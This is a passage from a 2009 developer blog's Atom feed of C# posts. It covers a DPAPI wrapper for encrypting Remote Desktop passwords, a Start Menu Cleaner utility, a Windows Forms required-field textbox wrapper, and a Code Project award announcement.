class="kwrd"&gt;new&lt;/span&gt; DataProtector(DataProtector.Store.USE_MACHINE_STORE);&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Encrypt(&lt;span class="kwrd"&gt;string&lt;/span&gt; text_password)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;byte&lt;/span&gt;[] e = dp.Encrypt(GetBytes(text_password), &lt;span class="kwrd"&gt;null&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;psw&amp;quot;&lt;/span&gt;);&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; GetHex(e);&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; Decrypt(&lt;span class="kwrd"&gt;string&lt;/span&gt; enc_password)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;byte&lt;/span&gt;[] b = ToByteArray(enc_password);&lt;br /&gt;            &lt;span class="kwrd"&gt;byte&lt;/span&gt;[] d = dp.Decrypt(b, &lt;span class="kwrd"&gt;null&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot;psw&amp;quot;&lt;/span&gt;);&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; GetString(d);&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;byte&lt;/span&gt;[] GetBytes(&lt;span class="kwrd"&gt;string&lt;/span&gt; text)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; UnicodeEncoding.Unicode.GetBytes(text);&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; GetString(&lt;span class="kwrd"&gt;byte&lt;/span&gt;[] byt)&lt;br /&gt;        {&lt;br /&gt;            System.Text.Encoding enc = System.Text.Encoding.Unicode;&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; enc.GetString(byt);&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; GetHex(&lt;span class="kwrd"&gt;byte&lt;/span&gt;[] byt_text)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; ret = &lt;span class="kwrd"&gt;string&lt;/span&gt;.Empty;&lt;br /&gt;&lt;br /&gt;            &lt;span class="kwrd"&gt;for&lt;/span&gt; (&lt;span class="kwrd"&gt;int&lt;/span&gt; i = 0; i &amp;lt; byt_text.Length; i++)&lt;br /&gt;            {&lt;br /&gt;                ret += Convert.ToString(byt_text[i], 16).PadLeft(2, &lt;span class="str"&gt;'0'&lt;/span&gt;).ToUpper();&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; ret;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;byte&lt;/span&gt;[] ToByteArray(String HexString)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;try&lt;/span&gt;&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="kwrd"&gt;int&lt;/span&gt; NumberChars = HexString.Length;&lt;br /&gt;                &lt;span class="kwrd"&gt;byte&lt;/span&gt;[] bytes = &lt;span class="kwrd"&gt;new&lt;/span&gt; &lt;span class="kwrd"&gt;byte&lt;/span&gt;[NumberChars / 2];&lt;br /&gt;                &lt;span class="kwrd"&gt;for&lt;/span&gt; (&lt;span class="kwrd"&gt;int&lt;/span&gt; i = 0; i &amp;lt; NumberChars; i += 2)&lt;br /&gt;                {&lt;br /&gt;                    bytes[i / 2] = Convert.ToByte(HexString.Substring(i, 2), 16);&lt;br /&gt;                }&lt;br /&gt;                &lt;span class="kwrd"&gt;return&lt;/span&gt; bytes;&lt;br /&gt;            }&lt;br /&gt;            &lt;span class="kwrd"&gt;catch&lt;/span&gt; (Exception ex)&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="kwrd"&gt;throw&lt;/span&gt; &lt;span class="kwrd"&gt;new&lt;/span&gt; Exception(&lt;span class="str"&gt;&amp;quot;Problem converting Hex to Bytes&amp;quot;&lt;/span&gt;, ex);&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;/pre&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-263743658460736776?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/263743658460736776/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=263743658460736776' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/263743658460736776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/263743658460736776'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/04/encryptdecrypt-rdp-password.html' title='Encrypt/Decrypt RDP Password'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SbIbjv_WgaI/AAAAAAAAAsg/XXGC6PJRRzo/S220/stl.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_kFNcLq9qQIg/SdgdfGPicRI/AAAAAAAAAvc/2bMZ9qP9jiA/s72-c/image_thumb%5B2%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-2002345829619340693</id><published>2009-04-02T08:46:00.007+08:00</published><updated>2009-04-12T00:00:27.610+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='softwares'/><category scheme='http://www.blogger.com/atom/ns#' term='Projects'/><category scheme='http://www.blogger.com/atom/ns#' term='me'/><category scheme='http://www.blogger.com/atom/ns#' term='Multi Remote Desktop Client .NET'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><category scheme='http://www.blogger.com/atom/ns#' term='Articles'/><title type='text'>Multi Remote Desktop Client .NET - Stable</title><content type='html'>Contents Moved &lt;a href="http://mrdcnet.blogspot.com/"&gt;Here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-2002345829619340693?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/2002345829619340693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=2002345829619340693' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/2002345829619340693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/2002345829619340693'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/04/multi-remote-desktop-client-net-stable.html' title='Multi Remote Desktop Client .NET - Stable'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SbIbjv_WgaI/AAAAAAAAAsg/XXGC6PJRRzo/S220/stl.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-4189666977149438682</id><published>2009-03-18T03:19:00.005+08:00</published><updated>2009-04-12T00:00:42.219+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='softwares'/><category scheme='http://www.blogger.com/atom/ns#' term='Projects'/><category scheme='http://www.blogger.com/atom/ns#' term='Multi Remote Desktop Client .NET'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><title type='text'>Multi Remote Desktop Client .NET (Open Source)</title><content type='html'>Contents Moved &lt;a href="http://mrdcnet.blogspot.com/"&gt;Here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-4189666977149438682?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/4189666977149438682/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=4189666977149438682' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/4189666977149438682'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/4189666977149438682'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/03/multi-remote-desktop-client-net-open.html' title='Multi Remote Desktop Client .NET (Open Source)'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SbIbjv_WgaI/AAAAAAAAAsg/XXGC6PJRRzo/S220/stl.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-594414832822762435</id><published>2009-03-15T09:31:00.001+08:00</published><updated>2009-03-15T09:46:38.671+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='softwares'/><category scheme='http://www.blogger.com/atom/ns#' term='me'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><title type='text'>Start Menu Cleaner for Windows XP</title><content type='html'>&lt;a href="http://startmenucleanerxp.codeplex.com/"&gt;Start Menu Cleaner for Windows XP&lt;/a&gt; is a small utility that scans all dead shortcuts and empty folders on your Programs in Start menu.   &lt;br /&gt;  &lt;br /&gt;Hope am not late for this since everyone is switching to Vista. But anyway, I came across with a problem again (I'm a &amp;quot;&lt;em&gt;When there's a problem, I make the solution&lt;/em&gt;&amp;quot; guy) where I used a &lt;a href="http://www.winstep.net/index.asp?cat=organizer"&gt;tool&lt;/a&gt; to manage my programs in start menu, and I organize them the way I can easily open them (e.g. my Visual Studio and other Software development program are in Developer Tools folder) instead of having my programs scattered or sorted and viewed on a 2 or more columns of installed programs.. Yuck! That's a great tool by the way ... BUT!!   &lt;br /&gt;  &lt;br /&gt;Talk about CONS from that tool.. Since I managed them so perfect, the problem sets in when I started to uninstall lots of my unused applications. Why what is that? You could guess ... DEAD SHORTCUT LINKS! Their Uninstaller leave a dead shortcut files in my start menu, because the uninstaller didn't found them and just leaved it there. Well it's a user's fault ;)  &lt;br /&gt;  &lt;br /&gt;So just to save my time tracking down those dead shortcuts, I wrote small utility, an open source and free for all program.. Since it grows a bit, I also added a feature to scan empty folders.  &lt;br /&gt;  &lt;br /&gt;Here's the screen shot, and I intentionally renamed the target files from those shortcuts for demo since I accidentally deleted them all using that utility I made. I forgot to write the condition where it deletes only the checked items .. but don't worry, that was already fixed ;)  &lt;br /&gt;&lt;a href="http://lh4.ggpht.com/_kFNcLq9qQIg/SbxaWlqdrsI/AAAAAAAAAtA/CWr-CtJ5CSs/s1600-h/start%20program%20cleaner%5B7%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; margin: 0px 10px 10px 0px; border-top: 0px; border-right: 0px" border="0" alt="start program cleaner" src="http://lh3.ggpht.com/_kFNcLq9qQIg/SbxaYCJqGPI/AAAAAAAAAtE/JhYolpkTNWo/start%20program%20cleaner_thumb%5B3%5D.jpg?imgmax=800" width="644" height="352" /&gt;&lt;/a&gt;&amp;#160; &lt;br /&gt;Hope this could help someone too. :D  &lt;br /&gt;  &lt;br /&gt;Enjoy! Sorry guys, no release for Vista yet since I still use Windows XP in my laptop. Planning to install Vista Ultimate on Virtual PC  &lt;br /&gt;  &lt;br /&gt;Download the latest release in CodePlex &amp;gt; &lt;a href="http://startmenucleanerxp.codeplex.com/"&gt;http://startmenucleanerxp.codeplex.com/&lt;/a&gt;  &lt;br /&gt;Download the latest source code &amp;gt; &lt;a href="http://startmenucleanerxp.codeplex.com/SourceControl/ListDownloadableCommits.aspx"&gt;http://startmenucleanerxp.codeplex.com/SourceControl/ListDownloadableCommits.aspx&lt;/a&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-594414832822762435?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/594414832822762435/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=594414832822762435' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/594414832822762435'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/594414832822762435'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/03/start-menu-cleaner-for-windows-xp.html' title='Start Menu Cleaner for Windows XP'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SbIbjv_WgaI/AAAAAAAAAsg/XXGC6PJRRzo/S220/stl.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_kFNcLq9qQIg/SbxaYCJqGPI/AAAAAAAAAtE/JhYolpkTNWo/s72-c/start%20program%20cleaner_thumb%5B3%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-2337117324669765754</id><published>2009-03-07T14:50:00.001+08:00</published><updated>2009-03-07T14:53:37.263+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='me'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><category scheme='http://www.blogger.com/atom/ns#' term='Articles'/><title type='text'>Code For Today: Textbox Required Field Wrapper in Windows Forms</title><content type='html'>&lt;p&gt;Now most of the time when developing a Windows Forms applications. These important text boxes can be so .. a little bit of .. a lot of work .. specially when checking if the required fields(textbox) (e.g. First Name, Last Name, etc ..., Address, or whatever).   &lt;br /&gt;    &lt;br /&gt;We HAVE to check if the user entered a value on those required fields. Now we probably use a possible shortest method or just check them one by one (that could be really painfull :P and it's ugly).    &lt;br /&gt;    &lt;br /&gt;Now even in Windows Forms .NET, they don't provide any special controls or methods for us. So that's why I created my own wrapper for that and it is called TextboxRequiredWrapper    &lt;br /&gt;    &lt;br /&gt;Here's the code:&lt;/p&gt;  &lt;pre class="csharpcode"&gt;&lt;span class="rem"&gt;/*&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;Author: Jayzon Ragasa | aka: Nullstring&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;Application Developer - Anomalist Designs LLC&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * --&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * TextboxRequiredWrapper 1.0&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; * --&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Collections.Generic;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Text;&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;namespace&lt;/span&gt; RemoteDesktopClient&lt;br /&gt;{&lt;br /&gt;    &lt;span class="kwrd"&gt;using&lt;/span&gt; System.Windows.Forms;&lt;br /&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; TextboxRequiredWrapper&lt;br /&gt;    {&lt;br /&gt;        TextBox[] _textbox;&lt;br /&gt;        &lt;span class="kwrd"&gt;string&lt;/span&gt; reqFieldMessage = &lt;span class="str"&gt;&amp;quot;This field is required&amp;quot;&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; TextboxRequiredWrapper()&lt;br /&gt;        {&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; AddRange(TextBox[] textbox)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;this&lt;/span&gt;._textbox = textbox;&lt;br /&gt;&lt;br /&gt;            &lt;span class="kwrd"&gt;foreach&lt;/span&gt; (TextBox tbox &lt;span class="kwrd"&gt;in&lt;/span&gt; &lt;span class="kwrd"&gt;this&lt;/span&gt;._textbox)&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="kwrd"&gt;if&lt;/span&gt; (tbox.Text == &lt;span class="kwrd"&gt;string&lt;/span&gt;.Empty)&lt;br /&gt;                {&lt;br /&gt;                    tbox.Text = reqFieldMessage;&lt;br /&gt;                    tbox.Font = &lt;span class="kwrd"&gt;new&lt;/span&gt; System.Drawing.Font(&lt;span class="str"&gt;&amp;quot;Segoe UI&amp;quot;&lt;/span&gt;, 8.25F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Point, ((&lt;span class="kwrd"&gt;byte&lt;/span&gt;)(0)));&lt;br /&gt;                }&lt;br /&gt;&lt;br /&gt;                tbox.LostFocus += &lt;span class="kwrd"&gt;new&lt;/span&gt; EventHandler(tbox_LostFocus);&lt;br /&gt;                tbox.GotFocus += &lt;span class="kwrd"&gt;new&lt;/span&gt; EventHandler(tbox_GotFocus);&lt;br /&gt;                tbox.TextChanged += &lt;span class="kwrd"&gt;new&lt;/span&gt; EventHandler(tbox_TextChanged);&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;void&lt;/span&gt; tbox_TextChanged(&lt;span class="kwrd"&gt;object&lt;/span&gt; sender, EventArgs e)&lt;br /&gt;        {&lt;br /&gt;            TextBox tbox = (TextBox)sender;&lt;br /&gt;&lt;br /&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (tbox.Text != reqFieldMessage)&lt;br /&gt;            {&lt;br /&gt;                tbox.Font = &lt;span class="kwrd"&gt;new&lt;/span&gt; System.Drawing.Font(&lt;span class="str"&gt;&amp;quot;Segoe UI&amp;quot;&lt;/span&gt;, 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((&lt;span class="kwrd"&gt;byte&lt;/span&gt;)(0)));&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;void&lt;/span&gt; tbox_LostFocus(&lt;span class="kwrd"&gt;object&lt;/span&gt; sender, EventArgs e)&lt;br /&gt;        {&lt;br /&gt;            TextBox tbox = (TextBox)sender;&lt;br /&gt;&lt;br /&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (tbox.Text == &lt;span class="kwrd"&gt;string&lt;/span&gt;.Empty)&lt;br /&gt;            {&lt;br /&gt;                tbox.Font = &lt;span class="kwrd"&gt;new&lt;/span&gt; System.Drawing.Font(&lt;span class="str"&gt;&amp;quot;Segoe UI&amp;quot;&lt;/span&gt;, 8.25F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Point, ((&lt;span class="kwrd"&gt;byte&lt;/span&gt;)(0)));&lt;br /&gt;                tbox.Text = reqFieldMessage;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;void&lt;/span&gt; tbox_GotFocus(&lt;span class="kwrd"&gt;object&lt;/span&gt; sender, EventArgs e)&lt;br /&gt;        {&lt;br /&gt;            TextBox tbox = (TextBox)sender;&lt;br /&gt;&lt;br /&gt;            &lt;span class="kwrd"&gt;if&lt;/span&gt; (tbox.Text == reqFieldMessage)&lt;br /&gt;            {&lt;br /&gt;                tbox.Text = &lt;span class="kwrd"&gt;string&lt;/span&gt;.Empty;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;bool&lt;/span&gt; isAllFieldSet()&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="kwrd"&gt;bool&lt;/span&gt; ret = &lt;span class="kwrd"&gt;true&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;            &lt;span class="kwrd"&gt;foreach&lt;/span&gt; (TextBox tbox &lt;span class="kwrd"&gt;in&lt;/span&gt; &lt;span class="kwrd"&gt;this&lt;/span&gt;._textbox)&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="kwrd"&gt;if&lt;/span&gt; (tbox.Text == reqFieldMessage)&lt;br /&gt;                {&lt;br /&gt;                    ret = &lt;span class="kwrd"&gt;false&lt;/span&gt;;&lt;br /&gt;                    &lt;span class="kwrd"&gt;break&lt;/span&gt;;&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            &lt;span class="kwrd"&gt;return&lt;/span&gt; ret;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;How to use it? Simple!!&lt;br /&gt;&lt;pre class="csharpcode"&gt;TextboxRequiredWrapper trw = &lt;span class="kwrd"&gt;new&lt;/span&gt; TextboxRequiredWrapper();&lt;br /&gt;trw.AddRange(&lt;span class="kwrd"&gt;new&lt;/span&gt; TextBox[] {&lt;br /&gt;    txServername,&lt;br /&gt;    txComputer,&lt;br /&gt;    txUsername,&lt;br /&gt;    txDescription&lt;br /&gt;});&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;And here's the code to check if these textboxes has a user input value:&lt;br /&gt;&lt;pre class="csharpcode"&gt;&lt;span class="kwrd"&gt;if&lt;/span&gt; (!trw.isAllFieldSet())&lt;br /&gt;{&lt;br /&gt;    MessageBox.Show(&lt;span class="str"&gt;&amp;quot;One of the required field is empty&amp;quot;&lt;/span&gt;, &lt;span class="kwrd"&gt;this&lt;/span&gt;.Text, MessageBoxButtons.OK, MessageBoxIcon.Exclamation);&lt;br /&gt;    &lt;span class="kwrd"&gt;return&lt;/span&gt;;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;and my last post &lt;a href="http://heresmycode.blogspot.com/2009/03/multi-remote-desktop-client-net.html"&gt;Multi Remote Desktop Client .NET&lt;/a&gt; using that wrapper.&lt;br /&gt;&lt;br /&gt;Here's the preview:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_kFNcLq9qQIg/SbIZGX5JjnI/AAAAAAAAAr4/UxjtX0fNg5o/s1600-h/textboxwrapper%5B3%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; margin: 0px 10px 10px 0px; border-top: 0px; border-right: 0px" border="0" alt="textboxwrapper" src="http://lh5.ggpht.com/_kFNcLq9qQIg/SbIZOGiSNsI/AAAAAAAAAr8/VUOpJRl7JSI/textboxwrapper_thumb%5B1%5D.jpg?imgmax=800" width="407" height="451" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;Cheers! &lt;img style="margin: 0px 10px 0px 0px" alt="beer" src="http://spaces.live.com/rte/emoticons/beer.gif" /&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-2337117324669765754?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/2337117324669765754/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=2337117324669765754' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/2337117324669765754'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/2337117324669765754'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/03/code-for-today-textbox-required-field.html' title='Code For Today: Textbox Required Field Wrapper in Windows Forms'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_kFNcLq9qQIg/SbIZOGiSNsI/AAAAAAAAAr8/VUOpJRl7JSI/s72-c/textboxwrapper_thumb%5B1%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-4341336731164262525</id><published>2009-03-07T12:21:00.002+08:00</published><updated>2009-04-12T00:00:53.090+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='softwares'/><category scheme='http://www.blogger.com/atom/ns#' term='me'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><title type='text'>Multi Remote Desktop Client .NET</title><content type='html'>Contents Moved &lt;a href="http://mrdcnet.blogspot.com/"&gt;Here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-4341336731164262525?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/4341336731164262525/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=4341336731164262525' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/4341336731164262525'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/4341336731164262525'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/03/multi-remote-desktop-client-net.html' title='Multi Remote Desktop Client .NET'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_kFNcLq9qQIg/SNcG3Ay99SI/AAAAAAAAAOg/TIS0edZtE-0/S220/yeah_blue_eye_ID.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-6845659388513294218</id><published>2009-03-01T22:19:00.000+08:00</published><updated>2009-10-12T22:26:55.225+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Code Project'/><category scheme='http://www.blogger.com/atom/ns#' term='Articles'/><title type='text'>I have won The Code Project Best C# article of March 2009</title><content type='html'>&lt;p&gt;COOLNESS!! i have the best Code Project article of the month! my article was about the software I wrote (for my self) to help me out with tedious remote desktop connection in our company. &lt;/p&gt;  &lt;p&gt;this software is called Multi Remote Desktop Client .NET&lt;/p&gt;  &lt;p&gt;&lt;img src="http://lh5.ggpht.com/_kFNcLq9qQIg/SdQKNqK25lI/AAAAAAAAAuE/RaggZgnOvCw/MainWindow_thumb%5B5%5D.jpg?imgmax=800" /&gt;&lt;/p&gt;  &lt;p&gt;link to CodeProject article &lt;a href="http://www.codeproject.com/KB/cs/RemoteDesktopClient.aspx"&gt;here&lt;/a&gt;, CodePlex &lt;a href="http://multirdpc.codeplex.com/"&gt;here&lt;/a&gt; and finally my blog &lt;a href="http://mrdcnet.blogspot.com/"&gt;here&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-6845659388513294218?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/6845659388513294218/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=6845659388513294218' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/6845659388513294218'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/6845659388513294218'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/03/i-have-won-code-project-best-c-article.html' title='I have won The Code Project Best C# article of March 